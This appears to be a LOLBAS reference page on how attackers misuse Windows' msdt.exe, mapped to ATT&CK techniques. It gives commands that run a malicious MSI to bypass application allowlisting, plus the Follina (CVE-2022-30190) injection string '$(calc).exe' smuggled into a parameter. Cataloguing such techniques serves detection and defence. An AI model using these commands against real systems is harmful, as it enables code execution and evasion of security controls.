LOLBAS. GitHub
LIVING OFF THE LAND / OS BINARIES

Msdt.exe

View source

Microsoft diagnostics tool

ExecuteAWL Bypass
03COMMAND EXAMPLES
02ATT&CK TECHNIQUES
03DETECTION RESOURCES
02CAPABILITIES
01 / TRADECRAFT

Command reference

3 examples

Execute1

EXAMPLE 01T1218

Executes the Microsoft Diagnostics Tool and executes the malicious .MSI referenced in the .xml file.

COMMAND
msdt.exe -path C:\WINDOWS\diagnostics\index\PCWDiagnostic.xml -af {PATH_ABSOLUTE:.xml} /skip TRUE
USE CASE
Execute code
PRIVILEGES
User
OPERATING SYSTEM
Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
Application · GUIExecute · MSI

AWL Bypass2

EXAMPLE 01T1218

Executes the Microsoft Diagnostics Tool and executes the malicious .MSI referenced in the .xml file.

COMMAND
msdt.exe -path C:\WINDOWS\diagnostics\index\PCWDiagnostic.xml -af {PATH_ABSOLUTE:.xml} /skip TRUE
USE CASE
Execute code bypass Application whitelisting
PRIVILEGES
User
OPERATING SYSTEM
Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
Application · GUIExecute · MSI
EXAMPLE 02T1202

Executes arbitrary commands using the Microsoft Diagnostics Tool and leveraging the "PCWDiagnostic" module (CVE-2022-30190). Note that this specific technique will not work on a patched system with the June 2022 Windows Security update.

COMMAND
msdt.exe /id PCWDiagnostic /skip force /param "IT_LaunchMethod=ContextMenu IT_BrowseForFile=/../../$(calc).exe"
USE CASE
Execute code bypass Application allowlisting
PRIVILEGES
User
OPERATING SYSTEM
Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
Application · GUIExecute · CMD
02 / ON DISK

Known paths

C:\Windows\System32\Msdt.exe
C:\Windows\SysWOW64\Msdt.exe
03 / DEFENSIVE INTELLIGENCE

Detection & indicators

3 resources
REFERENCE IMPLEMENTATIONS

Code samples

FURTHER READING

Research & resources

COMMUNITY RESEARCH

Acknowledgements

Nasreddine Bencherchali@nas_bench